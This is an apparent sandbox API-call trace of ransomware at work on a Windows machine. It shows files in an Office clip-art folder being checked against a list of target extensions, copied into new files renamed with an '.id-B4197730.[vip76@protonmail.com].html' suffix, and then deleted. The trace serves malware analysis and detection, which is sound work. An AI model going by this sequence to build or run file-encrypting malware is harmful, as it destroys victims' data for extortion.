	[0188.314] lstrlenW (lpString=".jpg") returned 4
	[0188.314] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.314] lstrlenW (lpString=".doc") returned 4
	[0188.314] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.314] lstrlenW (lpString=".docx") returned 5
	[0188.314] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1
	[0188.314] lstrlenW (lpString=".pdf") returned 4
	[0188.314] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.314] lstrlenW (lpString=".xls") returned 4
	[0188.314] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.314] lstrlenW (lpString=".xlsx") returned 5
	[0188.314] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1
	[0188.314] lstrlenW (lpString=".ppt") returned 4
	[0188.314] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.315] lstrlenW (lpString=".zip") returned 4
	[0188.315] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.315] lstrlenW (lpString=".rar") returned 4
	[0188.315] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.315] lstrlenW (lpString=".bz2") returned 4
	[0188.315] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.315] lstrlenW (lpString=".7z") returned 3
	[0188.315] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.315] lstrlenW (lpString=".dbf") returned 4
	[0188.315] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.315] lstrlenW (lpString=".1cd") returned 4
	[0188.315] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68
	[0188.315] lstrlenW (lpString=".jpg") returned 4
	[0188.315] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.315] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.315] lstrlenW (lpString="J0101859.BMP") returned 12
	[0188.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.316] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=31968) returned 1
	[0188.316] CloseHandle (hObject=0x574) returned 1
	[0188.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220
	[0188.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.317] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.317] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0188.318] GetLastError () returned 0x0
	[0188.318] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x7ce0, lpOverlapped=0x0) returned 1
	[0188.663] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x7cf0, lpOverlapped=0x0) returned 1
	[0188.665] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.665] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.665] SetEndOfFile (hFile=0x46c) returned 1
	[0188.665] CloseHandle (hObject=0x46c) returned 1
	[0188.666] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.666] SetEndOfFile (hFile=0x574) returned 1
	[0188.670] CloseHandle (hObject=0x574) returned 1
	[0188.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1
	[0188.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.671] lstrlenW (lpString=".doc") returned 4
	[0188.671] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.671] lstrlenW (lpString=".docx") returned 5
	[0188.671] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1
	[0188.671] lstrlenW (lpString=".pdf") returned 4
	[0188.671] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.671] lstrlenW (lpString=".xls") returned 4
	[0188.671] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.671] lstrlenW (lpString=".xlsx") returned 5
	[0188.671] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1
	[0188.671] lstrlenW (lpString=".ppt") returned 4
	[0188.671] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.671] lstrlenW (lpString=".zip") returned 4
	[0188.671] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.671] lstrlenW (lpString=".rar") returned 4
	[0188.672] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.672] lstrlenW (lpString=".bz2") returned 4
	[0188.672] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.672] lstrlenW (lpString=".7z") returned 3
	[0188.672] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.672] lstrlenW (lpString=".dbf") returned 4
	[0188.672] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.672] lstrlenW (lpString=".1cd") returned 4
	[0188.672] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.672] lstrlenW (lpString=".jpg") returned 4
	[0188.672] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.672] lstrlenW (lpString=".doc") returned 4
	[0188.672] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.672] lstrlenW (lpString=".docx") returned 5
	[0188.672] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1
	[0188.672] lstrlenW (lpString=".pdf") returned 4
	[0188.672] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.672] lstrlenW (lpString=".xls") returned 4
	[0188.672] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.672] lstrlenW (lpString=".xlsx") returned 5
	[0188.672] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1
	[0188.672] lstrlenW (lpString=".ppt") returned 4
	[0188.672] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.673] lstrlenW (lpString=".zip") returned 4
	[0188.673] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.673] lstrlenW (lpString=".rar") returned 4
	[0188.673] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.673] lstrlenW (lpString=".bz2") returned 4
	[0188.673] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.673] lstrlenW (lpString=".7z") returned 3
	[0188.673] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.673] lstrlenW (lpString=".dbf") returned 4
	[0188.673] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.673] lstrlenW (lpString=".1cd") returned 4
	[0188.673] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0188.673] lstrlenW (lpString=".jpg") returned 4
	[0188.673] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.673] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.673] lstrlenW (lpString="J0101865.BMP") returned 12
	[0188.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.675] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=32184) returned 1
	[0188.675] CloseHandle (hObject=0x574) returned 1
	[0188.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220
	[0188.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.675] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.676] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0188.676] GetLastError () returned 0x0
	[0188.676] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0188.680] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0188.681] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.681] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.681] SetEndOfFile (hFile=0x46c) returned 1
	[0188.681] CloseHandle (hObject=0x46c) returned 1
	[0188.681] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.682] SetEndOfFile (hFile=0x574) returned 1
	[0188.685] CloseHandle (hObject=0x574) returned 1
	[0188.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1
	[0188.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.686] lstrlenW (lpString=".doc") returned 4
	[0188.686] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.686] lstrlenW (lpString=".docx") returned 5
	[0188.686] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1
	[0188.686] lstrlenW (lpString=".pdf") returned 4
	[0188.686] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.686] lstrlenW (lpString=".xls") returned 4
	[0188.686] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.686] lstrlenW (lpString=".xlsx") returned 5
	[0188.686] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1
	[0188.686] lstrlenW (lpString=".ppt") returned 4
	[0188.686] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.687] lstrlenW (lpString=".zip") returned 4
	[0188.687] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.687] lstrlenW (lpString=".rar") returned 4
	[0188.687] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.687] lstrlenW (lpString=".bz2") returned 4
	[0188.687] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.687] lstrlenW (lpString=".7z") returned 3
	[0188.687] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.687] lstrlenW (lpString=".dbf") returned 4
	[0188.687] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.687] lstrlenW (lpString=".1cd") returned 4
	[0188.687] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.687] lstrlenW (lpString=".jpg") returned 4
	[0188.687] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.687] lstrlenW (lpString=".doc") returned 4
	[0188.687] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.687] lstrlenW (lpString=".docx") returned 5
	[0188.687] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1
	[0188.687] lstrlenW (lpString=".pdf") returned 4
	[0188.687] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.687] lstrlenW (lpString=".xls") returned 4
	[0188.687] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.688] lstrlenW (lpString=".xlsx") returned 5
	[0188.688] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1
	[0188.688] lstrlenW (lpString=".ppt") returned 4
	[0188.688] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.688] lstrlenW (lpString=".zip") returned 4
	[0188.688] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.688] lstrlenW (lpString=".rar") returned 4
	[0188.688] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.688] lstrlenW (lpString=".bz2") returned 4
	[0188.688] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.688] lstrlenW (lpString=".7z") returned 3
	[0188.688] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.688] lstrlenW (lpString=".dbf") returned 4
	[0188.688] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.688] lstrlenW (lpString=".1cd") returned 4
	[0188.688] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0188.688] lstrlenW (lpString=".jpg") returned 4
	[0188.688] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.689] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.689] lstrlenW (lpString="J0101866.BMP") returned 12
	[0188.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.689] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=32184) returned 1
	[0188.689] CloseHandle (hObject=0x574) returned 1
	[0188.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220
	[0188.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0188.691] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.691] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0188.692] GetLastError () returned 0x0
	[0188.692] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0188.695] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0188.697] ReadFile (in: hFile=0x574, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.697] WriteFile (in: hFile=0x46c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.698] SetEndOfFile (hFile=0x46c) returned 1
	[0188.698] CloseHandle (hObject=0x46c) returned 1
	[0188.698] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.698] SetEndOfFile (hFile=0x574) returned 1
	[0189.325] CloseHandle (hObject=0x574) returned 1
	[0189.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1
	[0189.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.355] lstrlenW (lpString=".doc") returned 4
	[0189.355] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0189.355] lstrlenW (lpString=".docx") returned 5
	[0189.355] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0189.355] lstrlenW (lpString=".pdf") returned 4
	[0189.355] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0189.355] lstrlenW (lpString=".xls") returned 4
	[0189.355] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0189.355] lstrlenW (lpString=".xlsx") returned 5
	[0189.355] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0189.355] lstrlenW (lpString=".ppt") returned 4
	[0189.356] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.356] lstrlenW (lpString=".zip") returned 4
	[0189.356] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0189.356] lstrlenW (lpString=".rar") returned 4
	[0189.356] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0189.356] lstrlenW (lpString=".bz2") returned 4
	[0189.356] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0189.356] lstrlenW (lpString=".7z") returned 3
	[0189.356] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.356] lstrlenW (lpString=".dbf") returned 4
	[0189.356] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.356] lstrlenW (lpString=".1cd") returned 4
	[0189.356] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0189.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0189.356] lstrlenW (lpString=".jpg") returned 4
	[0189.356] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
